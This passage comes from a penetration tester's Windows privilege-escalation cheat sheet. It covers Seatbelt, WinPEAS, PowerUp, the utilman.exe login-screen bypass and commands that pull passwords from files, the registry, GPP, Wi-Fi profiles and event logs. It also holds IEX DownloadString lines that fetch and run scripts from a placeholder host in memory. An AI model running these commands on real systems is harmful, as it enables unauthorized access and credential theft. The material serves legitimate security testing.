$productState = "<PRODUCT_STATE>"

$hex = [Convert]::ToString($productState, 16).PadLeft(6,'0')

$WSC_SECURITY_PRODUCT_STATE = $hex.Substring(2,2)
$WSC_SECURITY_SIGNATURE_STATUS = $hex.Substring(4,2)

$RealTimeProtectionStatus = switch ($WSC_SECURITY_PRODUCT_STATE) {
  "00" {"OFF"}
  "01" {"EXPIRED"}
  "10" {"ON"}
  "11" {"SNOOZED"}
  default {"UNKNOWN"}
}

$DefinitionStatus = switch ($WSC_SECURITY_SIGNATURE_STATUS) {
  "00" {"UP_TO_DATE"}
  "10" {"OUT_OF_DATE"}
  default {"UNKNOWN"}
}

Write-Host "Real time protection status:" $RealTimeProtectionStatus
Write-Host "Signature update status:" $DefinitionStatus
```

**Audit policies**

The configured audit policies can be retrieved within the registry.

In particular, whether or not the command line is logged in process creation events (`Security` hive, `4688: A new process has been created`) is of importance, as a process command line arguments may yield information about a tool function, compromised accounts or C2 servers, and be very able for the blue team.

```bash
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"

# "ProcessCreationIncludeCmdLine_Enabled: 0x1" = the command line is logged in process creation
events
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled
```

**Windows Event Forwarding**

`Windows Event Forwarding (WEF)` is a Microsoft Windows component that forwards the chosen event logs to a `Windows Event Collector (WEC)` server, for back up or security monitoring.

The following registry key can be queried to retrieve information about a possible `WEF` subscription:

```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```

**AppLocker**

`AppLocker` is a Windows native feature, added in Windows 7 Enterprise, that allows, through the definition of rules, for the restriction and control of the files users can execute.

The configured `AppLocker` rules are stored in multiple locations within the registry and can also be retrieved using the `Get-AppLockerPolicy` PowerShell cmdlet.

Note that the `appidsvc` service must be running for `AppLocker` to be functional.

```bash
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Configured AppLocker rules, stored in XML format
# The "EnforcementMode" subkey of each category (exe, scripts, MSI, Appx, DLL) corresponds to the enforcement status of the AppLocker rules of the category
# "EnforcementMode: 0x0" = Audit only
# "EnforcementMode: 0x1" = Enforce rules
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2 /s

# Mirror key
reg query HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\SrpV2 /s

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\

# AppLocker pushed down from a Group Policy Object (GPO), stored in XML format
reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\<GUID>Machine\Software\Policies\Microsoft\Windows\SrpV2

sc.exe query appidsvc
```

Additionally, the presence and size of the event logs hive `Microsoft-Windows-AppLocker/EXE and DLL` can also be a good indicator of whether or not `AppLocker` is enabled. If the log file is not present or is empty (the evtx file has a size of 68 Ko / 69 632 bytes) then `AppLocker` may not have been enabled and configured on the system.

```
dir C:\Windows\System32\winevt\Logs | findstr /i AppLocker
```

For more information about `AppLocker`, refer to the `Windows - Bypass AppLocker` note.

**Seatbelt**

`Seatbelt` is a C# tool that can be used to enumerate a number of security mechanisms of the target such as the PowerShell restrictions, audit and Windows Event Forwarding settings, registered antivirus, firewall rules, installed patches and last reboot events, etc.

`Seatbelt` can also be used to gather interesting user data such as saved RDP connections files and putty SSH host keys, AWS/Google/Azure cloud credential files, browsers bookmarks and histories, etc.

```
# Currently available (last update 20210511) SeatBelt commands  (+ means remote usage is supported):
    + AMSIProviders          - Providers registered for AMSI
    + AntiVirus              - Registered antivirus (via WMI)
    + AppLocker              - AppLocker settings, if installed
      ARPTable               - Lists the current ARP table and adapter information (equivalent to arp -a)
      AuditPolicies          - Enumerates classic and advanced audit policy settings
    + AuditPolicyRegistry    - Audit settings via the registry
    + AutoRuns               - Auto run executables/scripts/programs
    + ChromiumBookmarks      - Parses any found Chrome/Edge/Brave/Opera bookmark files
    + ChromiumHistory        - Parses any found Chrome/Edge/Brave/Opera history files
    + ChromiumPresence       - Checks if interesting Chrome/Edge/Brave/Opera files exist
    + CloudCredentials       - AWS/Google/Azure/Bluemix cloud credential files
    + CloudSyncProviders     - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
      CredEnum               - Enumerates the current user's saved credentials using CredEnumerate()
    + CredGuard              - CredentialGuard configuration
      dir                    - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors]
    + DNSCache               - DNS cache entries (via WMI)
    + DotNet                 - DotNet versions
    + DpapiMasterKeys        - List DPAPI master keys
      EnvironmentPath        - Current environment %PATH$ folders and SDDL information
    + EnvironmentVariables   - Current environment variables
    + ExplicitLogonEvents    - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
      ExplorerMRUs           - Explorer most recently used files (last 7 days, argument == last X days)
    + ExplorerRunCommands    - Recent Explorer "run" commands
      FileInfo               - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
    + FileZilla              - FileZilla configuration files
    + FirefoxHistory         - Parses any found FireFox history files
    + FirefoxPresence        - Checks if interesting Firefox files exist
    + Hotfixes               - Installed hotfixes (via WMI)
      IdleTime               - Returns the number of seconds since the current user's last input.
    + IEFavorites            - Internet Explorer favorites
      IETabs                 - Open Internet Explorer tabs
    + IEUrls                 - Internet Explorer typed URLs (last 7 days, argument == last X days)
    + InstalledProducts      - Installed products via the registry
      InterestingFiles       - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
    + InterestingProcesses   - "Interesting" processes - defensive products and admin tools
      InternetSettings       - Internet settings including proxy configs and zones configuration
      KeePass                - Finds KeePass configuration files
    + LAPS                   - LAPS settings, if installed
    + LastShutdown           - Returns the DateTime of the last system shutdown (via the registry).
      LocalGPOs              - Local Group Policy settings applied to the machine/local users
    + LocalGroups            - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
    + LocalUsers             - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
    + LogonEvents            - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
    + LogonSessions          - Windows logon sessions
      LOLBAS                 - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
    + LSASettings            - LSA settings (including auth packages)
    + MappedDrives           - Users' mapped drives (via WMI)
      McAfeeConfigs          - Finds McAfee configuration files
      McAfeeSiteList         - Decrypt any found McAfee SiteList.xml configuration files.
      MicrosoftUpdates       - All Microsoft updates (via COM)
      NamedPipes             - Named pipe names and any readable ACL information.
    + NetworkProfiles        - Windows network profiles
    + NetworkShares          - Network shares exposed by the machine (via WMI)
    + NTLMSettings           - NTLM authentication settings
      OfficeMRUs             - Office most recently used file list (last 7 days)
      OracleSQLDeveloper     - Finds Oracle SQLDeveloper connections.xml files
    + OSInfo                 - Basic OS info (i.e. architecture, OS version, etc.)
    + OutlookDownloads       - List files downloaded by Outlook
    + PoweredOnEvents        - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
    + PowerShell             - PowerShell versions and security settings
    + PowerShellEvents       - PowerShell script block logs (4104) with sensitive data.
    + PowerShellHistory      - Searches PowerShell console history files for sensitive regex matches.
      Printers               - Installed Printers (via WMI)
    + ProcessCreationEvents  - Process creation logs (4688) with sensitive data.
      Processes              - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
    + ProcessOwners          - Running non-session 0 process list with owners. For remote use.
    + PSSessionSettings      - Enumerates PS Session Settings from the registry
    + PuttyHostKeys          - Saved Putty SSH host keys
    + PuttySessions          - Saved Putty configuration (interesting fields) and SSH host keys
      RDCManFiles            - Windows Remote Desktop Connection Manager settings files
    + RDPSavedConnections    - Saved RDP connections stored in the registry
    + RDPSessions            - Current incoming RDP sessions (argument == computername to enumerate)
    + RDPsettings            - Remote Desktop Server/Client Settings
      RecycleBin             - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
      reg                    - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
      RPCMappedEndpoints     - Current RPC endpoints mapped
    + SCCM                   - System Center Configuration Manager (SCCM) settings, if applicable
    + ScheduledTasks         - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
      SearchIndex            - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
      SecPackageCreds        - Obtains credentials from security packages
      SecurityPackages       - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
      Services               - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
    + SlackDownloads         - Parses any found 'slack-downloads' files
    + SlackPresence          - Checks if interesting Slack files exist
    + SlackWorkspaces        - Parses any found 'slack-workspaces' files
    + SuperPutty             - SuperPutty configuration files
    + Sysmon                 - Sysmon configuration from the registry
    + SysmonEvents           - Sysmon process creation logs (1) with sensitive data.
      TcpConnections         - Current TCP connections and their associated processes and services
      TokenGroups            - The current token's local and domain groups
      TokenPrivileges        - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
    + UAC                    - UAC system policies via the registry
      UdpConnections         - Current UDP connections and associated processes and services
      UserRightAssignments   - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
    + WindowsAutoLogon       - Registry autologon information
      WindowsCredentialFiles - Windows credential DPAPI blobs
    + WindowsDefender        - Windows Defender settings (including exclusion locations)
    + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
    + WindowsFirewall        - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
      WindowsVault           - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
      WMIEventConsumer       - Lists WMI Event Consumers
      WMIEventFilter         - Lists WMI Event Filters
      WMIFilterBinding       - Lists WMI Filter to Consumer Bindings
    + WSUS                   - Windows Server Update Services (WSUS) settings, if applicable


# Executes the specified module(s).
SeatBelt.exe <Command> [Command2] [-full]

# Conducts "user" checks, executing the following modules:
# Certificates, ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum,
# dir, DpapiMasterKeys, Dsregcmd,
# ExplorerMRUs, ExplorerRunCommands,
# FileZilla, FirefoxPresence,
# IdleTime, IEFavorites, IETabs, IEUrls
# KeePass,
# MappedDrives
# OfficeMRUs, OracleSQLDeveloper,
# PowerShellHistory, PuttyHostKeys, PuttySessions,
# RDCManFiles, RDPSavedConnections,
# SecPackageCreds, SlackDownloads, SlackPresence, SlackWorkspaces, SuperPutty,
# TokenGroups,
# WindowsCredentialFiles, WindowsVault
SeatBelt.exe -group=user [-full]

# Conducts "system" checks, executing the following modules:
# AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies, AuditPolicyRegistry, AutoRuns,
# Certificates, CredGuard,
# DNSCache, DotNet,
# EnvironmentPath, EnvironmentVariables,
# Hotfixes,
# InterestingProcesses, InternetSettings,
# LAPS, LastShutdown, LocalGPOs, LocalGroups, LocalUsers, LogonSessions, LSASettings,
# McAfeeConfigs,
# NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings,
# OSInfo,
# PoweredOnEvents, PowerShell, Processes, PSSessionSettings,
# RDPSessions, RDPsettings,
# SCCM, Services, Sysmon,
# TcpConnections, TokenPrivileges,
# UAC, UdpConnections, UserRightAssignments,
# WindowsAutoLogon, WindowsDefender, WindowsEventForwarding, WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding, WSUS
Seatbelt.exe -group=system

# Executes all checks, with fully detailed results.
SeatBelt.exe -group=all [-full]

# Executes SeatBelt from memory (as a gzip-compressed and base64-encoded .Net assembly loaded in PowerShell).
# From PowerSharpBinaries https://github.com/S3cur3Th1sSh1t/PowerSharpPack/
IEX(New-Object Net.WebClient).DownloadString("http://<HOSTNAME | IP>[:<PORT>]/<SCRIPT>")
Invoke-Seatbelt -Command "<Command> [Command2] [-full]"
```

### Local privilege escalation enumeration scripts

Most of the enumeration process detailed below can be automated using scripts.

*Personal preference: PEASS's `WinPEAS.exe` or `WinPEAS.bat` + PowerSploit's `PowerUp.ps1`* *`Invoke-PrivescAudit` / `Invoke-AllChecks` + off-target `Windows Exploit Suggester - Next Generation`*

To upload the scripts on the target, please refer to the `[General] File transfer` note.

Note that PowerShell scripts can be injected directly into memory using PowerShell `DownloadString` or through a `meterpreter` session:

```
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('<URL_PS1>'); <Invoke-CMD>"

PS> IEX (New-Object Net.WebClient).DownloadString('<URL_PS1>')
PS> <Invoke-CMD>

meterpreter> load powershell
meterpreter> powershell_import <PS1_FILE_PATH>
meterpreter> powershell_execute <Invoke-CMD>
```

**Privilege Escalation Awesome Scripts SUITE (PEASS) - WinPEAS**

`WinPEAS` checks the local privilege escalation vectors defined in the following checklist: `https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation`.

Note that the `winPEAS.exe` executable requires the .NET 4.0 framework to function. Alternatively, the `winPEAS.bat` script may be used instead (with no coloring support and less optimization).

```
# All checks with out resource throttling
# Additionally specify "notcolor" to avoid formatting errors if ANSI coloring is not supported
winPEAS.exe cmd searchall searchfast

winPEAS.bat
```

**PowerSploit's PowerUp**

The PowerSploit's PowerUp `Invoke-PrivescAudit` / `Invoke-AllChecks` and enjoiz's `privesc.bat` or `privesc.ps1`scripts run a number of configuration checks:

* Clear text passwords in files or registry
* Unquoted services path
* Weak services permissions
* "AlwaysInstallElevated" policy
* Token privileges
* ...

The `Invoke-PrivescAudit` / `Invoke-AllChecks` cmdlets will run all the checks implemented by PowerSploit's `PowerUp.ps1`. The script can be either injected directly into memory as specified above or can be imported using the file.

Note that `PowerUp` is not actively maintained in the master branch of the `PowerShellMafia`'s `PowerSploit` GitHub repository.

```
# powershell.exe -nop -exec bypass
# set-executionpolicy bypass

Import-Module <FULLPATH>\PowerUp.ps1

# Older versions
Invoke-AllChecks

Invoke-PrivescAudit
```

**enjoiz privesc.bat / privesc.ps1**

Both the batch and PowerShell versions of the `enjoiz` privilege escalation script require `accesschk.exe` to present on the targeted machine (on the script directory). The script takes one or multiple user group(s) as parameter to test the configuration for. To retrieve the user groups of the compromised user, the Windows built-in `whoami /groups` can be used.

```
privesc.bat "<USER_GROUP_1>" ["<USER_GROUP_N"]

privesc.bat "Everyone Users" "Authenticated Users"
```

**Windows Exploit Suggester - Next Generation**

The `WES-NG` script compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. Refer to the `Unpatched system` section below for a detailed usage guide of the script.

### Physical access privileges escalation

Physical access open up different ways to bypass user login screen and obtain `NT AUTHORITY\SYSTEM` access.

**Hardened system**

*BIOS settings*

The methods detailed below require to boot from a live CD/DVD or USB key. The possibility to do so may be disabled by BIOS settings. To conduct the attack below, an access to the BIOS or a reset to default settings must be accomplished.

Manufacturers may have defined a default BIOS password, some of which are listed on the following resource <http://www.uktsupport.co.uk/reference/biosp.htm>

Ultimately, BIOS settings can be reseted by removing the CMOS battery or using the motherboard Jumper. The system hard drive can also be plugged on another computer to extract the SAM base or carry out the process below.

*Encrypted disk*

The methods detailed below require an access to the Windows file system and will not work on encrypted partitions if the password to decrypt the file system is not known.

**PCUnlocker**

`PCUnlocker` is a password-unlocking software that can be used to reset lost Windows users password. it can be burn on a CD/DVD or installed on a bootable USB key.

The procedure to create a bootable USB key and reset local Windows users passwords is as follow:

1. Download `Rufus` and `PCUnlocker`
2. Create a bootable USK key using `Rufus` with the `PCUnlocker` ISO. If making an USB key for a computer with UEFI BIOS, pick the "GPT partition scheme for UEFI computer" option on Rufus
3. Boot on the USB Key thus created (boot order may need to be changed in BIOS)
4. From the `PCUnlocker` GUI, pick an account and click the "Reset Password" button to reset the password to

To create a bootable CD/DVD, simply use any CD/DVD burner with the `PCUnlocker` ISO and follow steps 3 & 4. If used on a Domain Controller, `PCUnlocker` can be used to reset Domain users password by updating the `ntds.dit` file.

**utilman.exe**

The `utilman` utility tool can be launched at the login screen before authentication as NT AUTHORITY\SYSTEM. By using a Windows installation CD/DVD, it is possible to replace the `utilman.exe` by `cmd.exe` to gain access to a CMD shell as SYSTEM without authentication.

The procedure to do so is as follow:

1. Download the Windows ISO corresponding to the attacked system and burn it to a CD/DVD
2. Boot on the thus created CD/DVD
3. Pick the "Repair your computer" option
4. Select the “Use recovery tools \[...]" option, pick the operating system from the list and click "Next"
5. A command prompt should open, enter the following commands:
   * `cd windows\system32`
   * `ren utilman.exe utilman.exe.bak`
   * `copy cmd.exe utilman.exe`
6. Remove the CD/DVD and boot the system normally.
7. On the login screen, press the key combination Windows Key + U
8. A command prompt should open with NT AUTHORITY\SYSTEM rights
9. Change a user password (net user ) or create a new user

### Sensible content

**Clear text passwords in files**

The built-in `findstr` and `dir` can be used to search for clear text passwords stored in files. The keyword 'password' should be used first and the search broaden if needed by searching for 'pass'.

The `meterpreter` `search` command can be used in place of `findstr` if a `meterpreter` shell is being used.

```
# Searches recursively in current folder
dir /s <KEYWORD>

# Meterpreter search command
search -f <FILE_NAME>.<FILE_EXTENSION> <KEYWORD>
search -f *.* <KEYWORD>

# Search (case insensitive) the specified keyword (for example 'password' or 'pass') in all or all the files of a given extension.
# The findstr is a Windows utility usable in a DOS shell. Get-ChildItem is a (faster) PowerShell cmdlet.
# A case sensitive search can be conducted using 's findstr /spin option or Get-Select-String's -CaseSensitive switch.

Get-ChildItem -ErrorAction SilentlyContinue -Recurse | Select-String "<KEYWORD>" -List | Select-Object -ExpandProperty Path
findstr /si "<KEYWORD>" *.*

Get-ChildItem -ErrorAction SilentlyContinue -Recurse -Filter <*.txt | *.<EXTENSION>> | Select-String "<KEYWORD>" -List | Select-Object -ExpandProperty Path
findstr /si "<KEYWORD>" <*.txt | *.<EXTENSION>>

# Search for runas with savecred in files
findstr /s /i /m "savecred" *.*
findstr /s /i /m "runas" *.*

# Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*
```

The following files, if present on the system, may contain clear text or base64 encoded passwords and should be reviewed:

```
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattend\Unattend.xml
%WINDIR%\Panther\Unattended.xml
%WINDIR%\Panther\Unattend.xml
%SystemDrive%\sysprep.inf
%SystemDrive%\sysprep\sysprep.xml
%WINDIR%\system32\sysprep\Unattend.xml
%WINDIR%\system32\sysprep\Panther\Unattend.xml
%SystemDrive%\MININT\SMSOSD\OSDLOGS\VARIABLES.DAT
%WINDIR%\panther\setupinfo
%WINDIR%\panther\setupinfo.bak
%SystemDrive%\unattend.xml
%WINDIR%\system32\sysprep.inf
%WINDIR%\system32\sysprep\sysprep.xml
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
%SystemDrive%\inetpub\wwwroot\web.config
%AllUsersProfile%\Application Data\McAfee\Common Framework\SiteList.xml
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>\LocalState\rootfs\etc\passwd
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>\LocalState\rootfs\etc\shadow

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
dir /s /b *tnsnames*
dir /s /b *.ora*
```

**Cached credentials**

Windows-based computers use multiple forms of password caching / storage: local accounts credentials, domain credentials, and generic credentials:

* Domain credentials are authenticated by the Local Security Authority (LSA) and cached in the LSASS (Local Security Authority Subsystem) process.
* Local accounts credentials are stored in the SAM (Security Account Manager) hive.
* Generic credentials are defined programs that manage authorization and security directly. The generic credentials are cached in the Windows Credential Manager.

Local administrator or `NT AUTHORITY\SYSTEM` privileges are required to access the clear-text or hashed passwords. Refer to the `[Windows] Post Exploitation` note for more information on how to retrieve these credentials.

However, stored generic credentials may be directly usable. In particular, Windows credentials (domain or local accounts) cached as generic credentials in the Credential Manager, usually done using `runas /savecred`.

The `cmdkey` and `rundll32.exe` Windows built-ins can be used to enumerate the generic credentials stored on the machine. Saved Windows credentials be can used using `runas`.

```
# List stored generic credentials
cmdkey /list
# Require a GUI interface
rundll32.exe keymgr.dll,KRShowKeyMgr

runas /savecred /user:<DOMAIN | WORKGROUP>\<USERNAME> <EXE>
```

**Cached GPP passwords**

GPP can be cached locally and may contain encrypted passwords that can be decrypted using the Microsoft public AES key.

The `Get-CachedGPPPassword` cmdlet, of the `PowerSploit`'s `PowerUp` script, can be used to automatically retrieve the cached GPP XML files and extract the present passwords.

```
Get-CachedGPPPassword
```

The following commands can be used to conduct the search manually:

```
$AllUsers = $Env:ALLUSERSPROFILE
# If $AllUsers do not contains "ProgramData"
$AllUsers = "$AllUsers\Application Data"

Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml',
'DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue | Select-String -pattern "cpassword"
```

The Ruby `gpp-password` script can be used to decrypt a GPP password:

```
gpp-decrypt <ENC_PASSWORD>
```

**Clear text password in registry**

Passwords may also be stored in Windows registry:

```
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f pass /t REG_SZ /s
reg query HKCU /f pass /t REG_SZ /s
```

**Wifi passwords**

The configured / memorized Wifi passwords on the target machine may be retrievable as an unprivileged user using the Windows built-in `netsh`:

```
# List stored Wifi
netsh wlan show profiles

# Retrieve information about the specified Wifi, including its clear text password if available
netsh wlan show profile name="<WIFI_NAME>" key=clear
```

**Passwords in Windows event logs**

If the compromised user can read Windows events logs, by being a member of the `Event Log Readers` notably, and the command-line auditing feature is enabled, the logs should be reviewed for sensible information.

```
# Check if command-line auditing is enabled - may return false-negative
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled

# List available Windows event logs type and number of entries
Get-EventLog -List

Get-EventLog -LogName <System | Security | ...> | Select -Property * -ExpandProperty Message

wevtutil qe <System | Security | ...> /f:text /rd:true

# specifying an host allows to specify an user to run the query as
wevtutil qe <System | Security | ...> /r:<127.0.0.1 | HOSTNAME | IP> /u:<WORKGROUP | DOMAIN>\<USERNAME> /p:<* | PASSWORD> /f:text /rd:true
```

**Recently modified files**

Recently modified files can be of interest and may contain sensitive information. For example, the lastly modified files in a product installation folder may correspond to the non default modifications and configuration.

The time of modification may also be of interest in a `CTF` scenarios.

```bash
# Lists the files and folders modified the last <DAYS> days.
Get-ChildItem [-File] -ErrorAction SilentlyContinue -Force -Recurse <PATH> | Where { $_.LastWriteTime -gt (Get-Date).AddDays(-<DAYS>) } | Format-Table LastWriteTime,FullName

# Lists the files and folders modified between the specifed dates.
Get-ChildItem [-File] -ErrorAction SilentlyContinue -Force -Recurse <PATH> | Where { $_.lastwritetime -gt '<FIRST_MM/DD/YYYY>' -AND $_.lastwritetime -lt '<LAST_MM/DD/YYYY>' } | Format-Table LastWriteTime,FullName
```

**Hidden files**

To display only hidden files, the following command can be used:

```
dir /s /ah /b
dir C:\ /s /ah /b

# PowerShell
ls -r
Get-Childitem -Recurse -Hidden
```

**Files of interest**

The following files may contains sensible information:

```
# PowerShell commands history
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# WSL directory - For more information refer to Windows Subsystem for Linux (WSL) below
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>
```

**Alternate data streams (ADS)**

The NTFS file system includes support for ADS, allowing files to contain more than one stream of data. Every Windows file has at least one data stream, called by default `:$DATA`.

ADS do not appear in Windows Explorer, and their size is not included in the size of the file that hosts them. Moreover, only the main stream of a file is retained when copying to a FAT file system, attaching to a mail or uploading to a website. Because of these properties, ADS may be used by users or applications to store sensible information and the eventual ADS present on the system should be reviewed.

DOS and PowerShell built-ins as well as `streams.exe` from the Sysinternals suite and tools from <http://www.flexhex.com/docs/articles/alternate-streams.phtml> can be used to operate with ADS.

Note that the PowerShell cmdlets presented below are only available starting from `PowerShell 3`.

```
# Search ADS
dir /R <DIRECTORY | FILE_NAME>
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$DATA'
Get-Item <FILE_NAME> -stream *
streams.exe -accepteula -s <DIRECTORY>
streams.exe -accepteula <FILE_NAME>

# Retrieve ADS content
more < <FILE_NAME>:<ADS_NAME>
Get-Content <FILE_NAME> -stream <ADS_NAME>
LS.exe <FILE_NAME>

# Write ADS content
echo "<INPUT>" > <FILE_NAME>:<ADS_NAME>
Set-Content <FILE_NAME> -stream <ADS_NAME> -Value "<INPUT>"
Add-Content <FILE_NAME> -stream <ADS_NAME> -Value "<INPUT>"

# Remove ADS
Remove-Item –path <FILE_PATH> –stream <ADS_NAME>
streams.exe -accepteula -d <FILE_NAME>
```

### Unpatched system

**OS and Kernel version**

The following commands or actions can be used to get the updates installed on the host:

| DOS                                                                                                                 | Powershell                                | WMI                                           |
| ------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- | --------------------------------------------- |
| <p>systeminfo<br>Check content of C:\Windows\SoftwareDistribution\Download<br>type C:\Windows\WindowsUpdate.log</p> | <p>Get-HotFix<br>Get-WindowsUpdateLog</p> | wmic qfe get HotFixID,InstalledOn,Description |

Windows releases information:

| NT Version | Build                                                                                                   | Marketing name                                                               |
| ---------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| 3.1        | 528                                                                                                     | Windows NT 3.1                                                               |
| 3.5        | 807                                                                                                     | Windows NT 3.5                                                               |
| 3.51       | 1057                                                                                                    | Windows NT 3.51                                                              |
| 4.0        | 1381                                                                                                    | Windows NT 4.0                                                               |
| 5.0        | 2195                                                                                                    | Windows 2000                                                                 |
| 5.1        | 2600                                                                                                    | Windows XP                                                                   |
| 5.2        | 3790                                                                                                    | <p>Windows XP x64<br>Windows Server 2003<br>Windows Server 2003 R2</p>       |
| 6.0        | <p>6000<br>6001</p>                                                                                     | <p>Windows Vista<br>Windows Server 2008</p>                                  |
| **6.1**    | **7600**                                                                                                | <p><strong>Windows 7</strong><br><strong>Windows Server 2008 R2</strong></p> |
| 6.2        | 9200                                                                                                    | <p>Windows 8<br>Windows Server 2012</p>                                      |
| **6.3**    | **9600**                                                                                                | <p>Windows 8.1<br><strong>Windows Server 2012 R2</strong></p>                |
| **10.0**   | <p>10240 (TH1) / 10586 (TH2)<br>14393 (RS1) / 15063 (RS2) / 16299 (RS3) / 17134 (RS4) / 17763 (RS5)</p> | <p>Windows 10<br>Windows Server 2016</p>                                     |

Automatically compare the system patch level to public known exploits:

**Installed software**

The following commands can be used to enumerate the software installed on the local system:

```
# Lists the software installed on the system.
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, REGISTRY::HKEY_USERS\S-1-5-21-*\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where {$_.DisplayName -notLike "" -or $_.InstallLocation -notlike ""} | Select DisplayName, DisplayVersion, Publisher, InstallDate, InstallLocation  | fl

# Returns a partial list of the software installed on the system.
wmic product get name,version
```

**Exploits detection tools**

*Windows Exploit Suggester - Next Generation (WES-NG)*

\-- Replace Windows-Exploit-Suggester --

The `WES-NG` Python script compares a target patch level, retrieved using `systeminfo`, and the Microsoft vulnerability database in order to detect potential missing patches on the target.

```
wes.py --update

# -d: [+] Filters out old vulnerabilities by retrieving the most recent KB publication date and filtering out all KBs released before this date.
# --muc-lookup: Conducts false positives verification using the Microsoft's Update Catalog to determine if installed patches supersedes potentially missing KBs.
wes.py [-d] [--muc-lookup] <SYSTEMINFO_FILE>
```

*Windows-Exploit-Suggester (outdated)*

Outdated: Microsoft replaced the Microsoft Security Bulletin Data Excel file, on which Windows-Exploit-Suggester is fully dependent, by the MSRC API. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities can no longer be assessed --

The `windows-exploit-suggester` script compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and `Metasploit` modules available for the missing bulletins. It requires the `systeminfo` command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host. It has the ability to automatically download the security bulletin database from Microsoft with the --update flag, and saves it as an Excel spreadsheet.

```
# python windows-exploit-suggester.py --update

python /opt/priv_esc/windows/windows-exploit-suggester.py --database <XLS> --systeminfo <SYSTEMINFO_FILE>
```

If the `systeminfo` command reveals 'File 1' as the output for the hotfixes, the output of `wmic qfe list full` should be used instead using the --hotfixes flag, along with the `systeminfo`:

```
python windows-exploit-suggester.py --database <XLS> --systeminfo <SYSTEMINFO> --hotfixes <HOTFIXES>
```

*Watson*

`Watson` (replaces `Sherlock`) is a .NET tool designed to enumerate missing KBs and suggest exploits. Only works on Windows 10 (1703, 1709, 1803 & 1809) and Windows Server 2016 & 2019.

`Watson` must be compiled for the .NET version supported on the target.

*Sherlock (outdated)*

Outdated: Microsoft changed to rolling patches on Windows instead of hotfixes per vulnerability, making the detection mechanism of `Sherlock` non functional.

PowerShell script to find missing software patches for critical vulnerabilities that could be leveraged for local privilege escalation.

To download and execute directly into memory:

```
# CMD
